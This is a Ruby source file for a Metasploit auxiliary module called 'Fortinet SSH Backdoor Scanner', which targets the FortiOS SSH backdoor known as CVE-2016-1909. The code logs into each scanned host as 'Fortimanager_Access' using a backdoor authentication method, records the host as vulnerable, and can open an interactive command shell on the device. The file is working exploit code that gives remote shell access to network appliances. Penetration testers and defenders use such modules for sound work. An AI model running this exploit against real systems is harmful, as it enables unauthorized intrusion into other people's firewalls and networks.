##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::Report
include Msf::Auxiliary::ReportSummary
def initialize(info = {})
super(update_info(info,
'Name' => 'Fortinet SSH Backdoor Scanner',
'Description' => %q{
This module scans for the Fortinet SSH backdoor.
},
'Author' => [
'operator8203 <operator8203[at]runbox.com>', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2016-1909'],
['EDB', '39224'],
['PACKETSTORM', '135225'],
['URL', 'https://seclists.org/fulldisclosure/2016/Jan/26'],
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
],
'DisclosureDate' => '2016-01-09',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22)
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
factory = ssh_socket_factory
ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
auth_methods: ['fortinet-backdoor']
})
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
return unless ssh
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
version = ssh.transport.server_version.version
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)
shell = Net::SSH::CommandStream.new(ssh)
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1
if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
info = "#{self.name} (#{version})"
ds_merge = {
'USERNAME' => 'Fortimanager_Access'
}
if datastore['CreateSession']
start_session(self, info, ds_merge, false, shell.lsock)
end
# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
end
def rport
datastore['RPORT']
end
end